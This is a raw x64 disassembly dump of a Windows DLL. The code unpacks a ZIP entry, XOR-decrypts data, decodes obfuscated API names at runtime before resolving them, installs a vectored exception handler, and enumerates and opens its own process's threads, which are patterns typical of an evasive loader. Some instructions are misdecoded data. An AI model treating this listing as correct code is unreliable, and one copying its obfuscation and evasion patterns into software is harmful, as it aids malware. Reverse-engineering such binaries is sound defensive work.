mov rdx, rdi
call fcn.180052380
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], rsi
xor ebp, ebp
lea rcx, [rsp + 0xf0]
mov rdx, rdi
call fcn.180052380
mov dword [rsp + 0xc0], 0
jmp 0x180005014
lea rcx, [rsp + 0x2e0]
mov rdx, qword [rsp + 0xb0]
mov r8, r14
mov rdi, rcx
call fcn.180008cf0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x2e0], rax
jne 0x180004ed0
mov r12, qword [rsp + 0x2e8]
mov r14, qword [rsp + 0x2f0]
test r14, r14
je 0x180004ef4
js 0x18000733f
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, r14
call fcn.18004b1f0
test rax, rax
je 0x18000732a
mov rbp, rax
mov rdi, r14
jmp 0x180004efb
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x200], rax
movdqu xmm0, xmmword [rsp + 0x2e0]
movdqa xmmword [rsp + 0x1f0], xmm0
jmp 0x180004f31
mov ebp, 1
xor edi, edi
mov rcx, rbp
mov rdx, r12
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x268], rbp
mov qword [rsp + 0x1f8], rbp
mov qword [rsp + 0x200], r14
lea rdi, [rsp + 0x2e0]
mov bpl, 1
mov rcx, rdi
mov rdx, qword [rsp + 0xb8]
mov r8, rsi
call fcn.180008cf0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x2e0], rax
jne 0x180004fa0
mov r14, qword [rsp + 0x2e8]
mov rsi, qword [rsp + 0x2f0]
test rsi, rsi
je 0x180004fcd
js 0x18000736e
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rsi
call fcn.18004b1f0
test rax, rax
je 0x180007359
mov r12, rax
mov rdi, rsi
jmp 0x180004fd5
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x100], rax
movdqu xmm0, xmmword [rsp + 0x2e0]
movdqa xmmword [rsp + 0xf0], xmm0
mov al, 1
mov dword [rsp + 0xc0], eax
jmp 0x180005014
mov r12d, 1
xor edi, edi
mov rcx, r12
mov rdx, r14
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0x260], r12
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x100], rsi
mov al, 1
mov dword [rsp + 0xc0], eax
lea rdi, [rsp + 0x2e0]
mov rsi, qword [rsp + 0x48]
mov qword [rsp + 0x2e0], 0
mov rcx, rsi
xor edx, edx
mov r8, rdi
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180006dff
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x2e0], 0
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180006dff
mov dword [rsp + 0x2e0], 0
mov r8d, 4
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.18001b7b0
test rax, rax
jne 0x180006e2b
cmp dword [rsp + 0x2e0], 0x4034b50
lea rdi, [rsp + 0x2e0]
jne 0x180006f1b
mov qword [rsp + 0x2e0], 0
mov edx, 0x16
mov rcx, rsi
mov r8, rdi
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180006dff
mov word [rsp + 0x2e0], 0
mov r8d, 2
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.18001b7b0
test rax, rax
jne 0x180006e2b
movzx r14d, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
mov r8d, 2
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
call fcn.18001b7b0
test rax, rax
jne 0x180006e2b
movzx eax, word [rsp + 0xc8]
mov ecx, dword [rsp + 0xa0]
shr ecx, 8
cmp cl, 3
sete dl
mov r8b, 2
sub r8b, dl
test cl, cl
movzx edi, r8b
mov ecx, 0
cmove edi, ecx
test eax, eax
je 0x1800051a0
cmp eax, 8
movzx edx, word [rsp + 0xae]
movzx ecx, word [rsp + 0x278]
je 0x180005190
mov bp, 3
cmp eax, 0xc
jne 0x1800051b2
mov bp, 2
jmp 0x1800051b2
mov bp, 1
jmp 0x1800051b2
xor ebp, ebp
movzx edx, word [rsp + 0xae]
movzx ecx, word [rsp + 0x278]
movzx r12d, word [rsp + 0x2e0]
mov qword [rsp + 0x148], 0
movdqa xmmword [rsp + 0x1d0], xmm6
lea r8, [rsp + 0x148]
call sub.KERNEL32.dll_DosDateTimeToFileTime
test eax, eax
je 0x180006dff
lea rcx, [rsp + 0x148]
lea rdx, [rsp + 0x1d0]
call sub.KERNEL32.dll_FileTimeToSystemTime
test eax, eax
je 0x180006dff
add r14, rbx
lea rax, [r12 + r14]
add rax, 0x1e
movzx ecx, word [rsp + 0x1da]
movzx edx, word [rsp + 0x1d8]
shl rdx, 0x20
or rdx, rcx
movzx ecx, word [rsp + 0x1dc]
mov dword [rsp + 0x334], ecx
mov qword [rsp + 0x338], rdx
movzx ecx, word [rsp + 0x1d6]
mov dword [rsp + 0x340], ecx
movzx ecx, word [rsp + 0x1d4]
movdqa xmm0, xmmword [rsp + 0x1d0]
paddw xmm0, xmm7
punpcklwd xmm0, xmm6
pshufd xmm0, xmm0, 0xe1
movq qword [rsp + 0x344], xmm0
mov dword [rsp + 0x34c], ecx
lea rdx, [rsp + 0x2f8]
movdqu xmmword [rdx + 0x58], xmm6
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x2f0], rcx
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [rdx + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xf0]
movdqu xmmword [rdx], xmm0
mov byte [rsp + 0x369], dil
mov ecx, dword [rsp + 0xa0]
mov byte [rsp + 0x36a], cl
mov ecx, dword [rsp + 0x38]
and cl, 1
mov byte [rsp + 0x368], cl
mov word [rsp + 0x330], bp
movzx ecx, word [rsp + 0xc8]
mov word [rsp + 0x332], cx
mov ecx, dword [rsp + 0x2a0]
mov dword [rsp + 0x360], ecx
mov rcx, qword [rsp + 0x2b8]
mov qword [rsp + 0x310], rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x318], rcx
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rax
inc qword [rsp + 0x280]
mov eax, dword [rsp + 0x2a8]
mov dword [rsp + 0x364], eax
xor edi, edi
jmp 0x180005371
cmp rdi, r15
jae 0x180005460
xor ebx, ebx
jmp 0x18000538c
cmp rbx, 2
ja 0x180006af2
mov qword [rsp + 0x1d0], 0
mov rcx, rsi
mov rdx, qword [rsp + 0x230]
lea r8, [rsp + 0x1d0]
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x1800071aa
mov rdi, qword [rsp + 0x2e0]
mov rbp, qword [rsp + 0x2e8]
mov rsi, qword [rsp + 0x2f0]
mov r15, qword [rsp + 0x2f8]
lea rax, [rsp + 0x300]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x180], xmm3
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [rax + 0x60]
movdqa xmmword [rsp + 0x1b0], xmm0
test dword [rsp + 0x38], 0x800
je 0x180005537
lea r15, [0x180095d70]
xor eax, eax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x300], rax
movdqu xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
cmp qword [rsp + 0x290], 0
je 0x180005909
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x288]
call sub.KERNEL32.dll_HeapFree
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x180007637
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], rbp
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], r15
movdqa xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movdqu xmmword [rsp + 0x170], xmm0
movups xmmword [rsp + 0x180], xmm1
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 1
mov qword [rsp + 0x200], 0
test rcx, rcx
je 0x180007641
mov edi, 2
cmp byte [rbp + 0x88], 0
jne 0x180007690
mov rdx, qword [rbp + 0x48]
mov qword [rsp + 0x2e0], 0
lea r8, [rsp + 0x2e0]
mov rcx, rsi
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x1800076a1
lea rbx, [rsp + 0x198]
mov r14, qword [rbp + 0x30]
movzx eax, word [rbp + 0x50]
lea rcx, [0x180072040]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movd xmm0, dword [rbp + 0x80]
pshufd xmm0, xmm0, 0x51
lea r11, [0x180095dd0]
or dword [rax], eax
or dword [rax], eax
xor r10d, r10d
mov rdi, rbx
mov rcx, r14
jmp 0x180005c3e
movzx eax, byte [0x1800a40a8]
mov esi, 0x2000
mov edx, 0x2000
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x18000741f
mov rdi, rax
movzx eax, byte [0x1800a40a8]
mov edx, 0x50
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x1800077fb
mov rsi, rax
pxor xmm0, xmm0
movdqu xmmword [rax + 0x40], xmm0
movdqu xmmword [rax + 0x30], xmm0
movdqu xmmword [rax + 0x20], xmm0
movdqu xmmword [rax + 0x10], xmm0
movdqu xmmword [rax], xmm0
mov rcx, rax
xor edx, edx
xor r8d, r8d
call fcn.180056860
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x18000780f
mov eax, dword [rbp + 0x80]
pxor xmm0, xmm0
xor ecx, ecx
mov r10d, 2
lea r15, [0x180095dd0]
mov r11d, 0x2000
and byte [rax], al
add byte [rbp + 0x31], al
in al, 0x31
rol byte [rbp + 0x31], cl
leave
and byte [rax], al
add byte [rbp + 0x31], al
in al, 0x31
rol byte [rbp + 0x31], cl
leave
jmp 0x180005c3e
mov esi, 0x8000
mov edx, 0x8000
mov ecx, 8
call fcn.18004b1f0
test rax, rax
je 0x18000741f
mov rdi, rax
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x320], xmm6
movdqa xmmword [rsp + 0x310], xmm6
movdqa xmmword [rsp + 0x300], xmm6
movdqa xmmword [rsp + 0x2f0], xmm6
movdqa xmmword [rsp + 0x2e0], xmm6
mov qword [rsp + 0x330], 0
lea rcx, [rsp + 0x2e0]
mov edx, 0xfffffff1
call fcn.180067b90
mov rcx, r14
mov r14, qword [rsp + 0x2e0]
mov rsi, qword [rsp + 0x2e8]
movzx edx, byte [rsp + 0x2f0]
mov eax, dword [rsp + 0x2f1]
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0x2f4]
mov dword [rsp + 0xd3], eax
mov r9d, dword [rsp + 0x2f8]
mov eax, dword [rsp + 0x2fc]
movaps xmm0, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x70], xmm0
mov r8, qword [rsp + 0x330]
mov qword [rsp + 0x80], r8
movdqu xmmword [rsp + 0x88], xmm6
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0x130], r8
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x120], r8
mov r8, qword [rsp + 0x88]
mov qword [rsp + 0x128], r8
mov r8d, dword [rbp + 0x80]
movq xmm0, rdi
mov r10d, 1
mov r12d, 0x8000
lea r11, [0x180095dd0]
xor r15d, r15d
mov rdi, rbx
xor ebx, ebx
mov r13d, dword [rsp + 0xd3]
mov dword [rsp + 0x1d3], r13d
mov r13d, dword [rsp + 0xd0]
mov dword [rsp + 0x1d0], r13d
mov r13, qword [rsp + 0x130]
mov qword [rsp + 0x90], r13
mov qword [rsp + 0x2e0], r10
mov qword [rsp + 0x2e8], rdi
mov qword [rsp + 0x2f0], r11
mov qword [rsp + 0x2f8], rcx
movq qword [rsp + 0x300], xmm0
mov qword [rsp + 0x308], r12
mov qword [rsp + 0x310], rbx
mov qword [rsp + 0x318], r15
mov qword [rsp + 0x320], r14
mov qword [rsp + 0x328], rsi
mov byte [rsp + 0x330], dl
mov ecx, dword [rsp + 0x1d3]
mov dword [rsp + 0x334], ecx
mov ecx, dword [rsp + 0x1d0]
mov dword [rsp + 0x331], ecx
mov dword [rsp + 0x338], r9d
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmm3, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x80], xmm3
mov dword [rsp + 0x33c], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x380], rax
movdqa xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x370], xmm3
movups xmmword [rsp + 0x360], xmm2
movups xmmword [rsp + 0x350], xmm1
movdqu xmmword [rsp + 0x340], xmm0
mov dword [rsp + 0x388], 0
mov dword [rsp + 0x38c], r8d
mov qword [rsp + 0x390], rbp
mov rax, qword [rsp + 0x1f0]
mov r12, qword [rsp + 0x200]
mov qword [rsp + 0x38], rax
sub rax, r12
cmp rax, 0x20
jae 0x180005dd9
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x1f0]
call fcn.18001c490
test rax, rax
jne case.0x180005fc4.2
test rdx, rdx
je 0x18000605a
mov r12, qword [rsp + 0x200]
lea rsi, [rsp + 0x2e8]
mov ebx, 0x2000
lea r15, [0x18009a188]
lea r14, [0x180072060]
xor edi, edi
mov rax, qword [rsp + 0x1f0]
cmp r12, rax
jne 0x180005e41
cmp rax, qword [rsp + 0x38]
jne 0x180005e41
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x1f0]
call fcn.18001c490
test rax, rax
jne case.0x180005fc4.2
test rdx, rdx
je 0x18000605a
mov rax, qword [rsp + 0x1f0]
mov r12, qword [rsp + 0x200]
cmp r12, rax
jne 0x180005e89
mov r13, rax
add r13, 0x20
jb 0x180007388
lea rcx, [rax + rax]
cmp rcx, r13
cmova r13, rcx
cmp r13, 9
mov ecx, 8
cmovb r13, rcx
test rax, rax
je 0x180005e8e
mov rcx, qword [rsp + 0x1f8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x60], rax
mov eax, 1
jmp 0x180005e90
mov r13, rax
jmp 0x180005edb
xor eax, eax
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0xf0]
mov r8, r13
lea r9, [rsp + 0x50]
call fcn.1800198d0
cmp qword [rsp + 0xf0], 0
jne 0x180007388
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x1f0], r13
sub r13, r12
add r12, qword [rsp + 0x1f8]
cmp r13, rbx
mov rbp, rbx
cmovb rbp, r13
mov r8, rbp
sub r8, rdi
add rdi, r12
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rax, qword [rsp + 0x2e0]
lea rcx, [0x18009a1a0]
mov rax, qword [rcx + rax*8]
mov rcx, rsi
mov rdx, r12
mov r8, rbp
call qword [rax + 0x18]
test rax, rax
je 0x180006000
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x18000605a
mov eax, edx
and eax, 3
lea rcx, [0x180072050]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
cmp byte [rdx + 0x10], 0x23
je case.0x180005f47.5
jmp case.0x180005fc4.2
invalid
cmp byte [rdx + 0xf], 0x23
je case.0x180005f47.5
jmp case.0x180005fc4.2
mov rax, rdx
mov eax, edx
shr rax, 0x20
cmp rax, 0x23
jne 0x180006d97
mov rcx, rdx
call fcn.1800505c0
jmp 0x180005f92
cmp byte [rdx + 0xf], 0x23
jne case.0x180005fc4.2
mov rcx, rdx
call fcn.1800505c0
mov rax, qword [rsp + 0x2e0]
loopne 0x180005f9a
add byte [rax], al
mov rax, qword [r15 + rax*8]
mov rcx, rsi
mov rdx, r12
mov r8, rbp
call 0x1c818b0aa
test eax, eax
call 0x1c818b0aa
test eax, eax
je 0x180006000
test rdx, rdx
test edx, edx
je 0x18000605a
add byte [rax], al
mov eax, edx
and eax, 3
movsxd rax, dword [r14 + rax*4]
xchg byte [rcx + rax - 0x10], cl
xchg byte [rcx + rax - 0x10], cl
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x180005f8a
jmp case.0x180005fc4.2
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov rax, rdx
shr rax, 0x20
cmp rax, 0x23
je 0x180005f8a
jmp 0x180006d97
cmp rbp, rdx
jb 0x180007402
test rdx, rdx
je 0x18000605a
mov r12, qword [rsp + 0x200]
add r12, rdx
lea rax, [rbx + rbx]
test rbx, rbx
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
cmp r13, rbx
cmovb rax, rbx
sub rbp, rdx
mov qword [rsp + 0x200], r12
cmove rbx, rax
mov rdi, rbp
mov rax, qword [rsp + 0x1f0]
cmp r12, rax
je 0x180005e03
jmp 0x180005e41
lea rcx, [rsp + 0x2e0]
mov r13, qword [rsp + 0x28]
call fcn.1800015b0
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x7b8]
call fcn.18003ab80
mov rax, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1800060f7
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], rsi
mov qword [rsp + 0x2f0], rcx
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x2e0]
mov r8b, 1
call fcn.18003ad20
mov rbx, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xf8]
movabs rax, 0x8000000000000000
cmp rbx, rax
jne 0x1800067e8
mov rdi, rsi
test rdi, rdi
jne 0x1800076b5
mov rsi, qword [rsp + 0x200]
test rsi, rsi
je 0x180006164
js 0x18000777a
mov rbx, qword [rsp + 0x1f8]
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rsi
call fcn.18004b1f0
test rax, rax
je 0x18000741f
lea rcx, [rbx + rsi]
mov qword [rsp + 0x2e0], rsi
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 0
dec rcx
cmp rcx, rbx
jne 0x180006196
xor edi, edi
jmp 0x1800061dd
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2e8], 1
mov qword [rsp + 0x2f0], 0
xor eax, eax
mov qword [rsp + 0xb8], rax
xor edi, edi
jmp 0x18000620c
mov rcx, rsi
and rcx, 0xfffffffffffffffe
xor edi, edi
lea rdx, [0x1800932c6]
nop word cs:[rax + rax]
mov r8d, edi
and r8d, 0x1e
movzx r9d, byte [r8 + rdx]
xor r9b, byte [rbx + rdi]
movzx r8d, byte [r8 + rdx + 1]
mov byte [rax + rdi], r9b
xor r8b, byte [rbx + rdi + 1]
mov byte [rax + rdi + 1], r8b
add rdi, 2
cmp rcx, rdi
jne 0x1800061b0
test sil, 1
je 0x1800061fc
mov ecx, edi
and ecx, 0x1f
lea rdx, [0x1800932c6]
movzx ecx, byte [rcx + rdx]
xor cl, byte [rbx + rdi]
mov byte [rax + rdi], cl
inc rdi
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0xb8], rax
mov rsi, qword [rsp + 0x2e8]
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_HeapCreate
mov rcx, rax
mov edx, 8
mov r8, rdi
call fcn.1800536b4
mov rbx, rax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x180006b66
lea rcx, [rsp + 0x2e0]
mov r8d, 0x4d0
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0x310], 0x10001f
cmp byte [0x1800a4020], 0
mov qword [rsp + 0xb0], rsi
jne 0x18000642c
lea rax, [0x18008acd6]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x50], 0x5536b3b1
mov edx, dword [rsp + 0x50]
call fcn.180019550
movabs rcx, 0x5754b3fabe121a12
xor rcx, qword [rax]
mov qword [rsp + 0xd0], rcx
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
mov r8d, 8
call fcn.180008ba0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xf0], rax
jne 0x1800078a1
mov r14, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x100]
mov rcx, r14
call sub.KERNEL32.dll_GetModuleHandleA
mov r15, rax
test rax, rax
jne 0x18000631b
mov rcx, r14
call sub.KERNEL32.dll_LoadLibraryA
mov r15, rax
test rax, rax
je 0x180006a9b
lea rax, [0x1800910cc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x50], 0x1c2e978e
mov edx, dword [rsp + 0x50]
call fcn.180019700
movabs rcx, 0x945c8764325d13f5
xor rcx, qword [rax]
mov edx, 0x92b0a2bc
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x2f
shr eax, 8
xor al, 0x58
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
mov byte [rsp + 0xdc], r8b
mov byte [rsp + 0xdd], al
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
mov r8d, 0xe
call fcn.180008ba0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xf0], rax
jne 0x1800078eb
mov r12, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x100]
mov rcx, r15
mov rdx, r12
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x180006a7b
mov byte [0x1800a4020], 1
mov qword [0x1800a4028], rax
mov byte [r12], 0
test r13, r13
je 0x180006405
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov byte [r14], 0
test rsi, rsi
mov r13, qword [rsp + 0x28]
mov rsi, qword [rsp + 0xb0]
je 0x18000642c
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
cmp byte [0x1800a4030], 0
jne 0x1800065e1
lea rax, [0x180086eb0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x50], 0x286a1cc0
mov edx, dword [rsp + 0x50]
call fcn.180019770
movabs rcx, 0x8d793154543dba6c
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0x5d
mov qword [rsp + 0xd0], rcx
mov byte [rsp + 0xd8], al
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
mov r8d, 9
call fcn.180008ba0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xf0], rax
jne 0x180007935
mov r14, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x100]
mov rcx, r14
call sub.KERNEL32.dll_GetModuleHandleA
mov r15, rax
lea rax, [0x18008f2d9]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x50], 0xd12033e3
mov edx, dword [rsp + 0x50]
call fcn.180019650
movabs rcx, 0x9fb92b918d727cc4
xor rcx, qword [rax]
mov edx, 0xe3a18874
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x43
shr eax, 8
xor al, 0x45
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
mov byte [rsp + 0xdc], r8b
mov byte [rsp + 0xdd], al
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
mov r8d, 0xe
call fcn.180008ba0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xf0], rax
jne 0x18000797c
mov r12, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x100]
mov rcx, r15
mov rdx, r12
call sub.KERNEL32.dll_GetProcAddress
test rax, rax
je 0x180006aad
mov byte [0x1800a4030], 1
mov qword [0x1800a4038], rax
mov byte [r12], 0
test r13, r13
je 0x1800065ba
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov byte [r14], 0
test rsi, rsi
mov r13, qword [rsp + 0x28]
mov rsi, qword [rsp + 0xb0]
je 0x1800065e1
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
lea rdx, [0x1800197c0]
mov ecx, 1
call sub.KERNEL32.dll_AddVectoredExceptionHandler
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
mov ebp, eax
mov esi, dword [rsp + 0x70]
movzx eax, byte [0x1800a40a8]
mov edx, 0x100000
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x180007885
mov r15, rax
mov dword [rsp + 0x148], 0
lea r9, [rsp + 0x148]
mov ecx, 5
mov rdx, rax
mov r8d, 0x100000
mov qword [rsp + 0x38], rax
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x180006b3a
mov eax, dword [rsp + 0x148]
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 8
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xa0], rax
test rax, rax
je 0x180006b3a
mov qword [rsp + 0xe8], rbx
test ebp, ebp
mov eax, 1
cmove rax, rsi
mov qword [rsp + 0xc8], rax
mov rax, r15
add rax, 0x100
mov qword [rsp + 0x140], rax
mov ebx, 8
xor esi, esi
pxor xmm6, xmm6
lea r13, [rsp + 0xd0]
xor ebp, ebp
nop
mov rax, qword [rsp + 0xc8]
cmp qword [r15 + rbp + 0x50], rax
je 0x180006733
mov r15, qword [rsp + 0x38]
mov eax, dword [r15 + rbp]
test rax, rax
je 0x180006977
add rbp, rax
cmp rbp, qword [rsp + 0xa0]
jb 0x180006700
jmp 0x180006977
mov r15d, dword [r15 + rbp + 4]
test r15, r15
je 0x18000670f
mov rax, qword [rsp + 0x140]
lea r14, [rax + rbp]
jmp 0x180006770
mov rbx, qword [rsp + 0xf8]
mov qword [rbx + rsi*8], r12
inc rsi
mov qword [rsp + 0x100], rsi
add r14, 0x50
dec r15
je 0x18000670f
mov qword [rsp + 0x1d0], 0
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0xd0], 0
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x1d0]
mov edx, 0x1fffff
lea r8, [rsp + 0x50]
mov r9, r13
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x180006767
mov r12, qword [rsp + 0x1d0]
cmp rsi, qword [rsp + 0xf0]
jne 0x180006758
lea rcx, [rsp + 0xf0]
call fcn.180019c30
jmp 0x180006750
mov rcx, rsi
call sub.KERNEL32.dll_DeleteFileW
test eax, eax
je 0x180006813
test rbx, rbx
je 0x180006103
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
jmp 0x180006103
call sub.KERNEL32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
or rdi, 2
test rbx, rbx
je 0x1800060fa
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
jmp 0x1800060fa
cmp qword [rsp + 0x50], 0
je 0x18000685c
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x68], 0
je 0x180006877
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0xf0], 0
